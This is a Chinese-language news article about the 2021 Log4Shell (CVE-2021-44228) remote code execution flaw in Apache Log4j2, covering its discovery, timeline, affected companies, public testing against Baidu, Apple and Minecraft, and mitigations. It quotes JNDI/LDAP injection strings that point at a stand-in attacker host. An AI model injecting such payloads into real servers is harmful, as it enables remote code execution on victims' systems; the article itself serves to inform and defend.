首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

中国程序员抢先预警「史诗」级漏洞,席卷苹果特斯拉

2021年11月24日,阿里云安全团队依然像往常一样进行着漏洞的筛查工作。

让人没想到的是,团队成员之一的Chen Zhaojun一铲子下去,就挖出了一个「过去十年来影响最大、最严重的漏洞」——Log4Shell。

借着这个漏洞,攻击者只需要提交一个字符串就能访问对方的服务器,甚至还能在里面上传运行任何代码!

结果就是,12月10号,本来已经在准备过周末的大厂程序员们,都起来通宵加班处理漏洞了。

这个漏洞波及了多少大厂呢?

由于Log4j2这个库实在是太受欢迎了,所以包括苹果、Tesla、亚马逊、Cloudflare、ElasticSearch、Red Hat、Twitter、Steam、百度、网易、腾讯等大厂都会受到影响。

可能,还有数百家甚至数千家其他组织也会受到影响。

一些信息安全研究人员预计,未来几天互联网上对服务器的攻击会大幅增加。

惊魂一刻

11月24,开源项目Apache Log4j2的一个远程代码执行漏洞被提交。

12月7日上午,Apache发布了2.15.0-rc1版本更新。

12月9日晚,漏洞的利用细节被公开,影响范围几乎横跨整个版本(从2.0到2.14.1-rc1)。

当大家纷纷升级到2.15.0-rc1之后发现,该补丁依然可以被绕过。

12月10日凌晨2点半左右,Apache Log4j2紧急更新了2.15.0-rc2版本。

此时,各个大厂也几乎都在熬夜抢修。

据火绒不完全统计,仅在Github上,就有60644个开源项目发布的321094软件包存在风险,这一漏洞可以说是影响了互联网上70%以上企业系统的正常运转。

Java开发框架中,受到Log4j2的影响Top10(来源:火绒安全)

这一漏洞名为CVE-2021-44228,也叫Log4Shell或LogJam,是一个远程代码执行(RCE)类漏洞,存在于一个「数百万」应用程序都在使用的开源Java日志库Log4j2中。

由于Java应用程序通常会记录各种各样的事件,例如用户发送和接收的消息,或者系统错误的详细信息,因此该漏洞可以通过多种方式触发。

而这一漏洞最危险的地方是它太容易被攻击者利用了,即使是毫无经验的普通人也可以利用这个漏洞成功执行攻击。

攻击者只需发送一则特殊的消息到服务器(包含类似${jndi:ldap://server.com/a}的字符串),就可以执行任意的代码,并有可能完全控制该系统。

据阿里的@程序员子悠介绍,服务器会通过Log4j2记录攻击者发送的请求汇中包含的基于JNDI和LDAP的恶意负载${ jndi:ldap://http://attacker.com/},其中,http://attacker.com是攻击者控制的地址。

当服务器通过JNDI向http://server.com请求,触发恶意负载之后,http://attacker.com就可以在响应中添加任何可执行脚本,注入到服务器进程中。

于是,上个周末,大大小小公司的安全团队都在争先恐后地修补Log4Shell漏洞,晚一秒,就有可能让黑客危及互联网上数百万台设备。

而黑客们也没闲着,安全服务商imperva当天就监控到了140多万次针对CVE-2021-44228的攻击。

新西兰计算机应急响应小组(CERT)、德国电信(Deutsche Telekom)和Greynoise的网络监控服务都发出了警告:「攻击者已经在积极利用这个漏洞」。

根据Greynoise的说法,大约100个不同的主机正在大规模地寻找利用Log4j2漏洞的方法。

很快,多家信息安全新闻机构都报道了这个在Apache Log4j2库中发现的,CVSS严重程度为10级的关键漏洞CVE-2021-44228。

阿里云安全团队在12月10日发布公告。

https://help.aliyun.com/noticelist/articleid/1060971232.html

国家互联网应急中心12月10日发布公告。

https://www.cert.org.cn/publish/main/9/2021/20211210110550958546708/20211210110550958546708_.html

美国国家计算机通用漏洞数据库12月10日发布公告。

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

Apache基金会也迅速回应,建议所有开发人员能升级就升级,将手头上使用到的Log4j2库更新到2.15.0版本,如果因为一些原因升不了级,就使用Apache Log4j2安全漏洞页面中描述的方法进行扑救。

12月12号,有网友反映银行的程序都不能用了,推测可能正在加班加点排查,看来波及范围确实挺大的。

这下程序员们要哭了,纷纷吐槽:

「连夜抢修」

「忙活大半天」

复现漏洞

国民级搜索引擎百度首先遭到了广大网友的暴力测试!

漏洞刚曝光时,如果在百度搜索框中输入命令,然后在dnslog中就可以发现访问信息,随后开发人员也是紧急修复了这个漏洞。

接着,网友又攻破了一向以安全性著称的苹果。

Minecraft也同样惨遭毒手。

由于Minecraft在软件中也采用了Log4j2,而且使用范围很广,这就导致了除Mohist 1.18外,Minecraft全版本所有系列的服务端全部处于高风险状态。

这样一来,在聊天栏输入命令就可以在游戏中作弊。

对于Minecraft服主来说,当前最该做的就是立即关闭服务器,并进行升级和紧急修复,普通玩家则需要等待,直到服务器确认修复完成。

解决方案

根据360的建议,用户可以进行如下操作。

常规方案

使用了Apache Log4j2的用户,请将程序更新至官方最新安全版本(2.15.0-rc2)。下载地址:

https://github.com/apache/logging-Log4j22/releases/tag/Log4j2-2.15.0-rc2

临时应急方案

修改Log4j2配置:

Log4j22.formatMsgNoLookups=True

设置JVM启动参数:

-DLog4j22.formatMsgNoLookups=true

设置环境变量:

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS值为true

可以提高安全性的周边设置

以下设置或操作可能会对防护此次安全事件起到作用,但无法确保安全。建议结合实际应用场景进行配置:

  1. 使用尽可能更高版本的JDK
  2. 使用rasp阻断lookup的调用
  3. 使用waf对流量中的${jndi进行拦截
  4. 禁止所有不必要的外连数据。

开源项目的风险

Log4j2的安全事故一出,不禁让广大用户重新开始怀疑:开源软件是否真的安全?

一方面大家觉得开源软件嘛,代码都拿到手了,在遵照开源协议的情况下,基本就是白嫖。

另一方面,觉得有这么多人都在盯着这份代码,肯定不会出bug,不然一定会有人提issue修复的。在不花钱的情况下,又指望它有企业级的维护支持与安全性保障。

殊不知,大部分开源软件都是作者利用业余时间开发的,为开源社区贡献代码的驱动力全部来自于star和「用爱发电」。

也正是因为免费,一些开源软件的受众规模特别大,从小公司到千亿市值的企业都在使用,如果一旦出了漏洞,那后果将不堪设想。

所以,开源有风险,使用需谨慎!

  • 发表于:
  • 原文链接http://news.51cto.com/art/202112/695069.htm
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

相关快讯

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券